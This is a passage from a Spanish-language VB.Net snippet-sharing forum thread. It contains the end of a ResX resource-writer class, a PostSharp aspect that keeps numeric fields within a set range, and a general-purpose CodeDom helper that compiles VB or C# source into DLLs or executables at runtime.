  845.            Using resXWritter
  846.  
  847.                ' Add the retrieved resources into the ResX file.
  848.                If resources IsNot Nothing Then
  849.                    For Each resourceItem As ResXDataNode In resources
  850.                        resXWritter.AddResource(resourceItem)
  851.                    Next resourceItem
  852.                End If
  853.  
  854.                ' Add the specified resource into the ResX file.
  855.                resXWritter.AddResource(New ResXDataNode(name, data) With {.Name = name, .Comment = comment})
  856.                resXWritter.Generate()
  857.  
  858.            End Using ' resXWritter
  859.  
  860.        Catch ex As Exception
  861.            Throw
  862.  
  863.        Finally
  864.            If resX IsNot Nothing Then
  865.                resX.Close()
  866.            End If
  867.  
  868.            If resXWritter IsNot Nothing Then
  869.                resXWritter.Close()
  870.            End If
  871.  
  872.            resources.Clear()
  873.  
  874.        End Try
  875.  
  876.    End Sub
  877.  
  878.    ''' <summary>
  879.    ''' Gets all the resources contained in the .Net managed resource file.
  880.    ''' </summary>
  881.    ''' <returns>IEnumerable(Of Resource).</returns>
  882.    Private Iterator Function GetResources() As IEnumerable(Of Resource)
  883.  
  884.        ' Read the ResX file.
  885.        Using resX As New Resources.ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  886.  
  887.            For Each entry As DictionaryEntry In resX
  888.  
  889.                Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  890.  
  891.                Yield New Resource(name:=node.Name,
  892.                                   data:=node.GetValue(DirectCast(Nothing, ITypeResolutionService)),
  893.                                   comment:=node.Comment)
  894.  
  895.            Next entry
  896.  
  897.        End Using ' resX
  898.  
  899.    End Function
  900.  
  901. #End Region
  902.  
  903. #Region " Hidden Methods "
  904.  
  905.    ''' <summary>
  906.    ''' Determines whether the specified System.Object instances are considered equal.
  907.    ''' </summary>
  908.    <EditorBrowsable(EditorBrowsableState.Never)>
  909.    Public Shadows Function Equals(ByVal obj As Object) As Boolean
  910.        Return MyBase.Equals(obj)
  911.    End Function
  912.  
  913.    ''' <summary>
  914.    ''' Serves as a hash function for a particular type.
  915.    ''' </summary>
  916.    <EditorBrowsable(EditorBrowsableState.Never)>
  917.    Public Shadows Function GetHashCode() As Integer
  918.        Return MyBase.GetHashCode
  919.    End Function
  920.  
  921.    ''' <summary>
  922.    ''' Gets the System.Type of the current instance.
  923.    ''' </summary>
  924.    ''' <returns>The exact runtime type of the current instance.</returns>
  925.    <EditorBrowsable(EditorBrowsableState.Never)>
  926.    Public Shadows Function [GetType]() As Type
  927.        Return MyBase.GetType
  928.    End Function
  929.  
  930.    ''' <summary>
  931.    ''' Returns a String that represents the current object.
  932.    ''' </summary>
  933.    <EditorBrowsable(EditorBrowsableState.Never)>
  934.    Public Shadows Function ToString() As String
  935.        Return MyBase.ToString
  936.    End Function
  937.  
  938. #End Region
  939.  
  940. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2015, 10:41 am
Un aspecto para utilizar con la librería Postsharp, para difundir un poquito la programación orientada a aspectos (AOP).

Este aspecto en particular sirve para definir un valor mínimo y máximo para un miembro público de una class (Ej: Una propiedad Byte, Short, Integer, Long, etc...),
con esto nos aseguramos de que el valor asignado nunca supere el máximo ...ni el mínimo.

Hay bastante repetición de código ya que al parecer la Class no se puede hacer genérica.

Ejemplo de uso:
Código
  1. Imports PostSharp.Aspects
  2.  
  3. Public Class MyClass
  4.  
  5.    <RangeAttribute(0S, SByte.MaxValue)>
  6.    Dim sByteValue As SByte
  7.  
  8.    <RangeAttribute(0S, Byte.MaxValue)>
  9.    Dim ByteValue As Byte
  10.  
  11.    <RangeAttribute(0S, Short.MaxValue)>
  12.    Dim Int16Value As Short
  13.  
  14.    <RangeAttribute(0US, UShort.MaxValue)>
  15.    Dim UInt16Value As UShort
  16.  
  17.    <RangeAttribute(0I, Integer.MaxValue)>
  18.    Dim Int32Value As Integer
  19.  
  20.    <RangeAttribute(0UI, UInteger.MaxValue)>
  21.    Dim UInt32Value As UInteger
  22.  
  23.    <RangeAttribute(0L, Long.MaxValue)>
  24.    Dim Int64Value As Long
  25.  
  26.    <RangeAttribute(0UL, ULong.MaxValue)>
  27.    Dim UInt64Value As ULong
  28.  
  29.    <RangeAttribute(0.0F, Single.MaxValue)>
  30.    Dim SglValue As Single
  31.  
  32.    <RangeAttribute(0.0R, Double.MaxValue)>
  33.    Dim DblValue As Double
  34.  
  35. End Class

Código fuente:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 07-June-2015
  4. ' ***********************************************************************
  5. ' <copyright file="RangeAttribute.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Imports PostSharp.Aspects
  13. '
  14. 'Public Class Myclass
  15. '
  16. '    <RangeAttribute(0S, SByte.MaxValue)>
  17. '    Dim sByteValue As SByte
  18. '
  19. '    <RangeAttribute(0S, Byte.MaxValue)>
  20. '    Dim ByteValue As Byte
  21. '
  22. '    <RangeAttribute(0S, Short.MaxValue)>
  23. '    Dim Int16Value As Short
  24. '
  25. '    <RangeAttribute(0US, UShort.MaxValue)>
  26. '    Dim UInt16Value As UShort
  27. '
  28. '    <RangeAttribute(0I, Integer.MaxValue)>
  29. '    Dim Int32Value As Integer
  30. '
  31. '    <RangeAttribute(0UI, UInteger.MaxValue)>
  32. '    Dim UInt32Value As UInteger
  33. '
  34. '    <RangeAttribute(0L, Long.MaxValue)>
  35. '    Dim Int64Value As Long
  36. '
  37. '    <RangeAttribute(0UL, ULong.MaxValue)>
  38. '    Dim UInt64Value As ULong
  39. '
  40. '    <RangeAttribute(0.0F, Single.MaxValue)>
  41. '    Dim SglValue As Single
  42. '
  43. '    <RangeAttribute(0.0R, Double.MaxValue)>
  44. '    Dim DblValue As Double
  45. '
  46. 'End Class
  47.  
  48. #End Region
  49.  
  50. #Region " Imports "
  51.  
  52. Imports PostSharp.Aspects
  53.  
  54. #End Region
  55.  
  56. #Region " Range Attribute "
  57.  
  58. ''' <summary>
  59. ''' Aspect that when applied to a property, defines its minimum and maximum value.
  60. ''' </summary>
  61. <Serializable>
  62. Public Class RangeAttribute : Inherits LocationInterceptionAspect
  63.  
  64. #Region " Properties "
  65.  
  66.    ''' <summary>
  67.    ''' Gets or sets the minimum value.
  68.    ''' </summary>
  69.    Private Property Min As Object
  70.  
  71.    ''' <summary>
  72.    ''' Gets or sets the maximum value.
  73.    ''' </summary>
  74.    Private Property Max As Object
  75.  
  76. #End Region
  77.  
  78. #Region " Constructors "
  79.  
  80.    ''' <summary>
  81.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="SByte"/> datatype.
  82.    ''' </summary>
  83.    ''' <param name="minInt8">The minimum <see cref="SByte"/> value.</param>
  84.    ''' <param name="maxInt8">The maximum <see cref="SByte"/> value.</param>
  85.    Public Sub New(ByVal minInt8 As SByte, ByVal maxInt8 As SByte)
  86.  
  87.        Me.Min = minInt8
  88.        Me.Max = maxInt8
  89.  
  90.    End Sub
  91.  
  92.    ''' <summary>
  93.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Byte"/> datatype.
  94.    ''' </summary>
  95.    ''' <param name="minUInt8">The minimum <see cref="Byte"/> value.</param>
  96.    ''' <param name="maxUInt8">The maximum <see cref="Byte"/> value.</param>
  97.    Public Sub New(ByVal minUInt8 As Byte, ByVal maxUInt8 As Byte)
  98.  
  99.        Me.Min = minUInt8
  100.        Me.Max = maxUInt8
  101.  
  102.    End Sub
  103.  
  104.    ''' <summary>
  105.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Short"/> datatype.
  106.    ''' </summary>
  107.    ''' <param name="minInt16">The minimum <see cref="Short"/> value.</param>
  108.    ''' <param name="maxInt16">The maximum <see cref="Short"/> value.</param>
  109.    Public Sub New(ByVal minInt16 As Short, ByVal maxInt16 As Short)
  110.  
  111.        Me.Min = minInt16
  112.        Me.Max = maxInt16
  113.  
  114.    End Sub
  115.  
  116.    ''' <summary>
  117.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="UShort"/> datatype.
  118.    ''' </summary>
  119.    ''' <param name="minUInt16">The minimum <see cref="UShort"/> value.</param>
  120.    ''' <param name="maxUInt16">The maximum <see cref="UShort"/> value.</param>
  121.    Public Sub New(ByVal minUInt16 As UShort, ByVal maxUInt16 As UShort)
  122.  
  123.        Me.Min = minUInt16
  124.        Me.Max = maxUInt16
  125.  
  126.    End Sub
  127.  
  128.    ''' <summary>
  129.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Integer"/> datatype.
  130.    ''' </summary>
  131.    ''' <param name="minInt32">The minimum <see cref="Integer"/> value.</param>
  132.    ''' <param name="maxInt32">The maximum <see cref="Integer"/> value.</param>
  133.    Public Sub New(ByVal minInt32 As Integer, ByVal maxInt32 As Integer)
  134.  
  135.        Me.Min = minInt32
  136.        Me.Max = maxInt32
  137.  
  138.    End Sub
  139.  
  140.    ''' <summary>
  141.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="UInteger"/> datatype.
  142.    ''' </summary>
  143.    ''' <param name="minUInt32">The minimum <see cref="UInteger"/> value.</param>
  144.    ''' <param name="maxUInt32">The maximum <see cref="UInteger"/> value.</param>
  145.    Public Sub New(ByVal minUInt32 As UInteger, ByVal maxUInt32 As UInteger)
  146.  
  147.        Me.Min = minUInt32
  148.        Me.Max = maxUInt32
  149.  
  150.    End Sub
  151.  
  152.    ''' <summary>
  153.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Long"/> datatype.
  154.    ''' </summary>
  155.    ''' <param name="minInt64">The minimum <see cref="Long"/> value.</param>
  156.    ''' <param name="maxInt64">The maximum <see cref="Long"/> value.</param>
  157.    Public Sub New(ByVal minInt64 As Long, ByVal maxInt64 As Long)
  158.  
  159.        Me.Min = minInt64
  160.        Me.Max = maxInt64
  161.  
  162.    End Sub
  163.  
  164.    ''' <summary>
  165.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="ULong"/> datatype.
  166.    ''' </summary>
  167.    ''' <param name="minUInt64">The minimum <see cref="ULong"/> value.</param>
  168.    ''' <param name="maxUInt64">The maximum <see cref="ULong"/> value.</param>
  169.    Public Sub New(ByVal minUInt64 As ULong, ByVal maxUInt64 As ULong)
  170.  
  171.        Me.Min = minUInt64
  172.        Me.Max = maxUInt64
  173.  
  174.    End Sub
  175.  
  176.    ''' <summary>
  177.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Single"/> datatype.
  178.    ''' </summary>
  179.    ''' <param name="minSingle">The minimum <see cref="Single"/> value.</param>
  180.    ''' <param name="maxSingle">The maximum <see cref="Single"/> value.</param>
  181.    Public Sub New(ByVal minSingle As Single, ByVal maxSingle As Single)
  182.  
  183.        Me.Min = minSingle
  184.        Me.Max = maxSingle
  185.  
  186.    End Sub
  187.  
  188.    ''' <summary>
  189.    ''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Double"/> datatype.
  190.    ''' </summary>
  191.    ''' <param name="minDouble">The minimum <see cref="Double"/> value.</param>
  192.    ''' <param name="maxDouble">The maximum <see cref="Double"/> value.</param>
  193.    Public Sub New(ByVal minDouble As Double, ByVal maxDouble As Double)
  194.  
  195.        Me.Min = minDouble
  196.        Me.Max = maxDouble
  197.  
  198.    End Sub
  199.  
  200.    ''' <summary>
  201.    ''' Prevents a default instance of the <see cref="RangeAttribute"/> class from being created.
  202.    ''' </summary>
  203.    Private Sub New()
  204.    End Sub
  205.  
  206. #End Region
  207.  
  208. #Region " Methods "
  209.  
  210.    ''' <summary>
  211.    ''' Method invoked <i>instead</i> of the <c>Set</c> semantic of the field or property to which the current aspect is applied,
  212.    ''' i.e. when the value of this field or property is changed.
  213.    ''' </summary>
  214.    ''' <param name="args">Advice arguments.</param>
  215.    Public Overrides Sub OnSetValue(ByVal args As LocationInterceptionArgs)
  216.  
  217.        Dim value As Object = args.Value
  218.  
  219.        Select Case True
  220.  
  221.            Case TypeOf value Is SByte
  222.                If DirectCast(value, SByte) < CSByte(Me.Min) Then
  223.                    value = Me.Min
  224.                ElseIf DirectCast(value, SByte) > CSByte(Me.Max) Then
  225.                    value = Me.Max
  226.                End If
  227.                args.SetNewValue(CSByte(value))
  228.  
  229.            Case TypeOf value Is Byte
  230.                If DirectCast(value, Byte) < CByte(Me.Min) Then
  231.                    value = Me.Min
  232.                ElseIf DirectCast(value, Byte) > CByte(Me.Max) Then
  233.                    value = Me.Max
  234.                End If
  235.                args.SetNewValue(CByte(value))
  236.  
  237.            Case TypeOf value Is Short
  238.                If DirectCast(value, Short) < CShort(Me.Min) Then
  239.                    value = Me.Min
  240.                ElseIf DirectCast(value, Short) > CShort(Me.Max) Then
  241.                    value = Me.Max
  242.                End If
  243.                args.SetNewValue(CShort(value))
  244.  
  245.            Case TypeOf value Is UShort
  246.                If DirectCast(value, UShort) < CUShort(Me.Min) Then
  247.                    value = Me.Min
  248.                ElseIf DirectCast(value, UShort) > CUShort(Me.Max) Then
  249.                    value = Me.Max
  250.                End If
  251.                args.SetNewValue(CUShort(value))
  252.  
  253.            Case TypeOf value Is Integer
  254.                If DirectCast(value, Integer) < CInt(Me.Min) Then
  255.                    value = Me.Min
  256.                ElseIf DirectCast(value, Integer) > CInt(Me.Max) Then
  257.                    value = Me.Max
  258.                End If
  259.                args.SetNewValue(CInt(value))
  260.  
  261.            Case TypeOf value Is UInteger
  262.                If DirectCast(value, UInteger) < CUInt(Me.Min) Then
  263.                    value = Me.Min
  264.                ElseIf DirectCast(value, UInteger) > CUInt(Me.Max) Then
  265.                    value = Me.Max
  266.                End If
  267.                args.SetNewValue(CUInt(value))
  268.  
  269.            Case TypeOf value Is Long
  270.                If DirectCast(value, Long) < CLng(Me.Min) Then
  271.                    value = Me.Min
  272.                ElseIf DirectCast(value, Long) > CLng(Me.Max) Then
  273.                    value = Me.Max
  274.                End If
  275.                args.SetNewValue(CLng(value))
  276.  
  277.            Case TypeOf value Is ULong
  278.                If DirectCast(value, ULong) < CULng(Me.Min) Then
  279.                    value = Me.Min
  280.                ElseIf DirectCast(value, ULong) > CULng(Me.Max) Then
  281.                    value = Me.Max
  282.                End If
  283.                args.SetNewValue(CULng(value))
  284.  
  285.            Case TypeOf value Is Single
  286.                If DirectCast(value, Single) < CSng(Me.Min) Then
  287.                    value = Me.Min
  288.                ElseIf DirectCast(value, Single) > CSng(Me.Max) Then
  289.                    value = Me.Max
  290.                End If
  291.                args.SetNewValue(CSng(value))
  292.  
  293.            Case TypeOf value Is Double
  294.                If DirectCast(value, Double) < CDbl(Me.Min) Then
  295.                    value = Me.Min
  296.                ElseIf DirectCast(value, Double) > CDbl(Me.Max) Then
  297.                    value = Me.Max
  298.                End If
  299.                args.SetNewValue(CDbl(value))
  300.  
  301.        End Select
  302.  
  303.    End Sub
  304.  
  305. #End Region
  306.  
  307. End Class
  308.  
  309. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Junio 2015, 20:01 pm
Comparto este snippet para compilar código fuente en tiempo de ejecución, una DLL, una app CLI o GUI, desde un string o desde un archivo que contenga el código guente.

Es útil por ejemplo para bindear archivos, o embedir tablas de recursos en una dll, o simplemente para compilar un código de C# o VB.Net.

Ejemplo de uso:
Código
  1. Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
  2.  
  3.     Dim resultVB As CompilerResults =
  4.         CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
  5.                                     targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
  6.                                     targetFile:="C:\VB Assembly.dll",
  7.                                     resources:={"C:\MyResources.resx"},
  8.                                     referencedAssemblies:={"System.dll"},
  9.                                     mainClassName:="MainNamespace.MainClass",
  10.                                     sourceCode:=<a>
  11.                                                 Imports System
  12.  
  13.                                                 Namespace MainNamespace
  14.  
  15.                                                     Public NotInheritable MainClass
  16.  
  17.                                                     End Class
  18.  
  19.                                                 End Namespace
  20.                                                 </a>.Value)
  21.  
  22.     Dim warnings As IEnumerable(Of CompilerError) =
  23.         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  24.         Where ce.IsWarning
  25.  
  26.     Dim errors As IEnumerable(Of CompilerError) =
  27.         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  28.         Where Not ce.IsWarning
  29.  
  30.     For Each war As CompilerError In warnings
  31.         Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  32.     Next war
  33.  
  34.     For Each err As CompilerError In errors
  35.         Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  36.     Next err
  37.  
  38. End Using

Código fuente:
Código
  1.        ''' <summary>
  2.        ''' Specifies a <see cref="CompilerParameters"></see> target assembly.
  3.        ''' </summary>
  4.        Public Enum TargetAssembly As Integer
  5.  
  6.            ''' <summary>
  7.            ''' A Command line interface executable.
  8.            ''' </summary>
  9.            Cli = 0
  10.  
  11.            ''' <summary>
  12.            ''' A Graphical user interface executable.
  13.            ''' </summary>
  14.            Gui = 1
  15.  
  16.            ''' <summary>
  17.            ''' A Dynamic-link library.
  18.            ''' </summary>
  19.            Dll = 2
  20.  
  21.        End Enum
  22.  
  23.        ''' <remarks>
  24.        ''' *****************************************************************
  25.        ''' Title : Compile Assembly (from reaource).
  26.        ''' Author: Elektro
  27.        ''' Date  : 14-June-2015
  28.        ''' Usage :
  29.        '''
  30.        ''' Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
  31.        '''
  32.        '''     Dim resultVB As CompilerResults =
  33.        '''         CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
  34.        '''                                     targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
  35.        '''                                     targetFile:="C:\VB Assembly.dll",
  36.        '''                                     resources:={"C:\MyResources.resx"},
  37.        '''                                     referencedAssemblies:={"System.dll"},
  38.        '''                                     mainClassName:="MainNamespace.MainClass",
  39.        '''                                     sourceCode:=<a>
  40.        '''                                                 Imports System
  41.        '''
  42.        '''                                                 Namespace MainNamespace
  43.        '''
  44.        '''                                                     Public NotInheritable MainClass
  45.        '''
  46.        '''                                                     End Class
  47.        '''
  48.        '''                                                 End Namespace
  49.        '''                                                 </a>.Value)
  50.        '''
  51.        '''     Dim warnings As IEnumerable(Of CompilerError) =
  52.        '''         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  53.        '''         Where ce.IsWarning
  54.        '''
  55.        '''     Dim errors As IEnumerable(Of CompilerError) =
  56.        '''         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  57.        '''         Where Not ce.IsWarning
  58.        '''
  59.        '''     For Each war As CompilerError In warnings
  60.        '''         Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  61.        '''     Next war
  62.        '''
  63.        '''     For Each err As CompilerError In errors
  64.        '''         Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  65.        '''     Next err
  66.        '''
  67.        ''' End Using
  68.        ''' -----------------------------------------------------------------
  69.        ''' Using csCodeProvider As New Microsoft.CSharp.CSharpCodeProvider
  70.        '''
  71.        '''     Dim resultCS As CompilerResults =
  72.        '''         CodeDomUtil.CompileAssembly(codeProvider:=csCodeProvider,
  73.        '''                                     targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
  74.        '''                                     targetFile:="C:\C# Assembly.dll",
  75.        '''                                     resources:={"C:\MyResources.resx"},
  76.        '''                                     referencedAssemblies:={"System.dll"},
  77.        '''                                     mainClassName:="MainNamespace.MainClass",
  78.        '''                                     sourceCode:=<a>
  79.        '''                                                 using System;
  80.        '''
  81.        '''                                                 namespace MainNamespace
  82.        '''                                                 {
  83.        '''                                                     class MainClass
  84.        '''                                                     {
  85.        '''
  86.        '''                                                     }
  87.        '''                                                 }
  88.        '''                                                 </a>.Value)
  89.        '''
  90.        '''     Dim warnings As IEnumerable(Of CompilerError) =
  91.        '''         From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
  92.        '''         Where ce.IsWarning
  93.        '''
  94.        '''     Dim errors As IEnumerable(Of CompilerError) =
  95.        '''         From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
  96.        '''         Where Not ce.IsWarning
  97.        '''
  98.        '''     For Each war As CompilerError In warnings
  99.        '''         Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  100.        '''     Next war
  101.        '''
  102.        '''     For Each err As CompilerError In errors
  103.        '''         Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  104.        '''     Next err
  105.        '''
  106.        ''' End Using
  107.        ''' *****************************************************************
  108.        ''' </remarks>
  109.        ''' <summary>
  110.        ''' Compiles a .Net assembly as executable or link library.
  111.        ''' </summary>
  112.        ''' <param name="codeProvider">The code provider.</param>
  113.        ''' <param name="targetAssembly">The kind of assembly to generate.</param>
  114.        ''' <param name="targetFile">The target file to create.</param>
  115.        ''' <param name="resources">The embedded resources (if any).</param>
  116.        ''' <param name="referencedAssemblies">The referenced assemblies (if any).</param>
  117.        ''' <param name="mainClassName">The code to compile (if any).</param>
  118.        ''' <param name="sourceCode">The sourcecode to compile (if any).</param>
  119.        ''' <exception cref="Exception">The current CodeDomProvider does not support resource embedding.</exception>
  120.        ''' <exception cref="NotImplementedException">Default sourcecode is not implemented for the specified CodeDomProvider. Please, set a sourcecode yourself.</exception>
  121.        ''' <returns>The results of the compiler operation.</returns>
  122.        Public Shared Function CompileAssembly(ByVal codeProvider As CodeDomProvider,
  123.                                               ByVal targetAssembly As TargetAssembly,
  124.                                               ByVal targetFile As String,
  125.                                               Optional ByVal resources As IEnumerable(Of String) = Nothing,
  126.                                               Optional ByVal referencedAssemblies As IEnumerable(Of String) = Nothing,
  127.                                               Optional ByVal mainClassName As String = "MainNamespace.MainClass",
  128.                                               Optional ByVal sourceCode As String = Nothing) As CompilerResults
  129.  
  130.            ' Set a default assembly reference.
  131.            If referencedAssemblies Is Nothing Then
  132.                referencedAssemblies = {"System.dll"}
  133.            End If
  134.  
  135.            Dim cp As New CompilerParameters
  136.            With cp
  137.  
  138.                ' Set compiler arguments.
  139.                Select Case targetAssembly
  140.  
  141.                    Case CodeDomUtil.TargetAssembly.Gui
  142.                        .CompilerOptions = "/optimize /target:winexe"
  143.  
  144.                    Case Else
  145.                        .CompilerOptions = "/optimize"
  146.  
  147.                End Select
  148.  
  149.                ' Generate an exe or a dll.
  150.                .GenerateExecutable = (targetAssembly <> CodeDomUtil.TargetAssembly.Dll)
  151.  
  152.                ' Save the assembly as a physical file.
  153.                .GenerateInMemory = False
  154.  
  155.                ' Generate debug information (pdb).
  156.                .IncludeDebugInformation = False
  157.  
  158.                ' Set the assembly file name to generate.
  159.                .OutputAssembly = targetFile
  160.  
  161.                ' Add an assembly reference.
  162.                .ReferencedAssemblies.AddRange(referencedAssemblies.ToArray)
  163.  
  164.                ' Set a temporary files collection.
  165.                ' The TempFileCollection stores the temporary files generated during a build in the current directory.
  166.                .TempFiles = New TempFileCollection(tempdir:=IO.Path.GetTempPath(), keepFiles:=True)
  167.  
  168.                ' Set whether to treat all warnings as errors.
  169.                .TreatWarningsAsErrors = False
  170.  
  171.                ' Set the level at which the compiler should start displaying warnings.
  172.                ' 0 - Turns off emission of all warning messages.
  173.                ' 1 - Displays severe warning messages.
  174.                ' 2 - Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members.
  175.                ' 3 - Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false.
  176.                ' 4 - Displays all level 3 warnings plus informational warnings. This is the default warning level at the command line.
  177.                .WarningLevel = 3
  178.  
  179.                ' Set the embedded resource file of the assembly.
  180.                If codeProvider.Supports(GeneratorSupport.Resources) AndAlso (resources IsNot Nothing) Then
  181.                    .EmbeddedResources.AddRange(resources.ToArray)
  182.  
  183.                ElseIf (Not codeProvider.Supports(GeneratorSupport.Resources)) AndAlso (resources IsNot Nothing) Then
  184.                    Throw New Exception(message:="The current CodeDomProvider does not support resource embedding.")
  185.  
  186.                End If
  187.  
  188.                ' Specify the class that contains the main method of the executable.
  189.                If codeProvider.Supports(GeneratorSupport.EntryPointMethod) Then
  190.  
  191.                    .MainClass = mainClassName
  192.  
  193.                    If (TypeOf codeProvider Is Microsoft.VisualBasic.VBCodeProvider) AndAlso
  194.                       (String.IsNullOrEmpty(sourceCode)) AndAlso
  195.                       .GenerateExecutable Then
  196.  
  197.                        sourceCode =
  198.                            <a>
  199.                            Imports System
  200.  
  201.                            Namespace MainNamespace
  202.  
  203.                                Module MainClass
  204.  
  205.                                    Sub Main()
  206.                                    End Sub
  207.  
  208.                                End Module
  209.  
  210.                            End Namespace
  211.                            </a>.Value
  212.  
  213.                    ElseIf (TypeOf codeProvider Is Microsoft.VisualBasic.VBCodeProvider) AndAlso
  214.                           (String.IsNullOrEmpty(sourceCode)) AndAlso
  215.                           Not .GenerateExecutable Then
  216.  
  217.                        sourceCode =
  218.                            <a>
  219.                            Imports System
  220.  
  221.                            Namespace MainNamespace
  222.  
  223.                                Public NotInheritable MainClass
  224.  
  225.                                End Class
  226.  
  227.                            End Namespace
  228.                            </a>.Value
  229.  
  230.                    ElseIf (TypeOf codeProvider Is Microsoft.CSharp.CSharpCodeProvider) AndAlso
  231.                           (String.IsNullOrEmpty(sourceCode)) AndAlso
  232.                          .GenerateExecutable Then
  233.  
  234.                        sourceCode =
  235.                            <a>
  236.                            using System;
  237.  
  238.                            namespace MainNamespace
  239.                            {
  240.                                class MainClass
  241.                                {
  242.                                    static void Main(string[] args)
  243.                                    {
  244.  
  245.                                    }
  246.                                }
  247.                            }
  248.                            </a>.Value
  249.  
  250.                    ElseIf (TypeOf codeProvider Is Microsoft.CSharp.CSharpCodeProvider) AndAlso
  251.                           (String.IsNullOrEmpty(sourceCode)) AndAlso
  252.                           Not .GenerateExecutable Then
  253.  
  254.                        sourceCode =
  255.                            <a>
  256.                            using System;
  257.  
  258.                            namespace MainNamespace
  259.                            {
  260.                                class MainClass
  261.                                {
  262.  
  263.                                }
  264.                            }
  265.                            </a>.Value
  266.  
  267.                    ElseIf String.IsNullOrEmpty(sourceCode) Then
  268.                        Throw New NotImplementedException(message:="Default sourcecode is not implemented for the specified CodeDomProvider. Please, specify a sourcecode.")
  269.  
  270.                    End If
  271.  
  272.                End If
  273.  
  274.            End With
  275.  
  276.            Return codeProvider.CompileAssemblyFromSource(cp, sourceCode)
  277.  
  278.        End Function
  279.  
  280.        ''' <remarks>
  281.        ''' *****************************************************************
  282.        ''' Title : Compile Assembly (from file).
  283.        ''' Author: Elektro
  284.        ''' Date  : 14-June-2015
  285.        ''' Usage :
  286.        '''
  287.        ''' Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
  288.        '''
  289.        '''     Dim resultVB As CompilerResults =
  290.        '''         CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
  291.        '''                                     targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
  292.        '''                                     sourceFile:="C:\SourceCode.vb",
  293.        '''                                     targetFile:="C:\VB Assembly.dll",
  294.        '''                                     resources:={"C:\MyResources.resx"},
  295.        '''                                     referencedAssemblies:={"System.dll"},
  296.        '''                                     mainClassName:="MainNamespace.MainClass")
  297.        '''
  298.        '''     Dim warnings As IEnumerable(Of CompilerError) =
  299.        '''         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  300.        '''         Where ce.IsWarning
  301.        '''
  302.        '''     Dim errors As IEnumerable(Of CompilerError) =
  303.        '''         From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
  304.        '''         Where Not ce.IsWarning
  305.        '''
  306.        '''     For Each war As CompilerError In warnings
  307.        '''         Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  308.        '''     Next war
  309.        '''
  310.        '''     For Each err As CompilerError In errors
  311.        '''         Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  312.        '''     Next err
  313.        '''
  314.        ''' End Using
  315.        ''' -----------------------------------------------------------------
  316.        ''' Using csCodeProvider As New Microsoft.CSharp.CSharpCodeProvider
  317.        '''
  318.        '''     Dim resultCS As CompilerResults =
  319.        '''         CodeDomUtil.CompileAssembly(codeProvider:=csCodeProvider,
  320.        '''                                     targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
  321.        '''                                     sourceFile:="C:\SourceCode.cs",
  322.        '''                                     targetFile:="C:\CS Assembly.dll",
  323.        '''                                     resources:={"C:\MyResources.resx"},
  324.        '''                                     referencedAssemblies:={"System.dll"},
  325.        '''                                     mainClassName:="MainNamespace.MainClass")
  326.        '''
  327.        '''     Dim warnings As IEnumerable(Of CompilerError) =
  328.        '''         From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
  329.        '''         Where ce.IsWarning
  330.        '''
  331.        '''     Dim errors As IEnumerable(Of CompilerError) =
  332.        '''         From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
  333.        '''         Where Not ce.IsWarning
  334.        '''
  335.        '''     For Each war As CompilerError In warnings
  336.        '''         Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  337.        '''     Next war
  338.        '''
  339.        '''     For Each err As CompilerError In errors
  340.        '''         Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  341.        '''     Next err
  342.        '''
  343.        ''' End Using
  344.        ''' *****************************************************************
  345.        ''' </remarks>
